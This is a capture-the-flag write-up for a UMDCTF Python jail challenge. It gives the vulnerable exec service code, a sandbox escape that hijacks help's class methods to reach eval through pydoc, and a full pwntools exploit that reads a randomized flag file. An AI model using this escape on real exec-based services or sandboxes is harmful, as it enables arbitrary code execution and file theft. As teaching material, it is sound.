exponential — UMDCTF

Description

No separate organizer description was present in the provided workspace files.

English summary: the service reads up to 100000 bytes of Python, enforces a very unusual character-frequency rule, bans quotes/whitespace/comments, and then executes the payload with exec(c). The goal is to turn those constraints into code execution that can still reach the randomized flag file.

Analysis

The challenge logic is short but extremely restrictive:

from collections import Counter

c = input("> ")[:100000]

def gen():
    s = 1
    while True:
        yield s
        s *= 2

assert all(i==j for i,j in zip(sorted(Counter(c).values()),gen()))
assert all("~">=i not in "#'\" \t\n\r\x0c\x0b" for i in c)

exec(c)

Two checks matter.

1. Power-of-two character multiplicities

Counter(c).values() is sorted and compared against the generator 1, 2, 4, 8, .... So if the payload uses k distinct characters, their multiplicities must be exactly:

1, 2, 4, 8, ..., 2^(k-1)

Since the input length is capped at 100000, the largest possible k is 16 because:

1 + 2 + 4 + ... + 32768 = 65535
1 + 2 + 4 + ... + 65536 = 131071 > 100000

So the entire exploit must fit into at most 16 distinct characters.

2. Token blacklist by character

The second assert bans:

• quotes: ' and "
• whitespace: space, tab, newline, carriage return, form feed, vertical tab
• #

That kills ordinary string literals and most pleasant Python syntax.

Why naive pyjail ideas fail

A normal Python jail escape usually spends lots of alphabet budget on things like:

• __builtins__
• __import__
• globals
• open
• read
• file names and paths

Here that is too expensive. Even worse, many syntactic structures want balanced delimiters such as (), [], or quotes, but equal counts are awkward because every distinct character must have a different multiplicity. Matching opener/closer counts naturally collide with the power-of-two rule.

That pushes the solve toward a staged design: a tiny semantic core, then a lot of carefully chosen padding to force exact multiplicities.

Solution

The successful solve used two stages.

Stage 1: build a valid 16-character payload

The payload uses exactly these 16 distinct characters:

% . ; = _ a c e g h l p r s t v

Their final counts are:

Character	Count
%	1
r	2
.	4
v	8
_	16
=	32
;	64
g	128
c	256
a	512
h	1024
e	2048
l	4096
p	8192
s	16384
t	32768

The meaningful core is only:

s=help;help.__class__.__getattr__=eval;help.__class__.__str__=help;c%s

Everything else is frequency padding chosen so that the final Counter(payload) becomes exactly the required power-of-two multiset.

Why this core works

1. Reuse the original input via c

The challenge stores our raw input in variable c before running exec(c). That means c is already available inside the executed program.

2. Force string conversion with %

c%s applies percent-formatting to c using s as the value. Since s=help, Python needs str(help).

3. Turn str(help) into help()

Before that conversion happens, the payload overwrites:

help.__class__.__str__ = help

So converting the help object to a string invokes help() instead. This drops the connection into the interactive pydoc help prompt on the same socket.

4. Turn dotted help lookups into eval

The payload also sets:

help.__class__.__getattr__ = eval

Inside the help prompt, pydoc resolves dotted names by repeatedly using getattr. After the hook, a request like help.anything_here effectively feeds anything_here into eval.

That gives a second-stage interpreter without needing quotes or balanced syntax in the first stage.

Stage 2: read the randomized flag file

On the remote instance, the current working directory was /app, and the Dockerfile moved the flag to a randomized name matching /app/flag_*.

The second-stage command sent through the help prompt was:

help.print(next(open(getattr(__import__("glob"),"glob")("/app/flag_*")[0])))

Why it works:

1. __import__("glob") imports the glob module.
2. getattr(..., "glob") fetches its glob function.
3. glob("/app/flag_*")[0] finds the randomized flag path.
4. open(... ) opens that file.
5. next(open(...)) reads its first line.
6. print(...) sends the flag back over the socket.

This is where the challenge becomes easy again: the second stage is evaluated normally by Python and is no longer bound by the first-stage character-count restriction.

Full exploit script

#!/usr/bin/env python3
from collections import Counter
from pwn import remote


def build_payload() -> str:
    parts = []
    parts.append("s=help")
    parts.append("g" * 121 + "=eval")
    parts.extend(["g=eval"] * 6)
    parts.append("c" * 253 + "=help")
    parts.append("a" * 469 + "=help")
    parts.append("h" * 998 + "=help")
    parts.append("e" * 2013 + "=help")
    parts.append("l" * 4060 + "=help")
    parts.append("p" * 8134 + "=help")
    parts.append("s" * 16313 + "=help")
    parts.append("t" * 32750 + "=help")
    parts.extend(["t=help"] * 14)
    parts.extend(["pass"] * 32)
    parts.append("help.__class__.__getattr__=eval")
    parts.append("help.__class__.__str__=help")
    parts.append("c%s")
    payload = ";".join(parts)

    expected = [1 << i for i in range(len(set(payload)))]
    assert sorted(Counter(payload).values()) == expected
    assert len(set(payload)) == 16
    return payload


def main() -> None:
    payload = build_payload()

    io = remote("challs.umdctf.io", 30306)
    io.recvuntil(b"> ")
    io.sendline(payload.encode())

    # Enter the pydoc prompt, then send the second stage.
    io.sendline(b"")
    io.sendline(
        b'help.print(next(open(getattr(__import__("glob"),"glob")("/app/flag_*")[0])))'
    )
    io.interactive()


if __name__ == "__main__":
    main()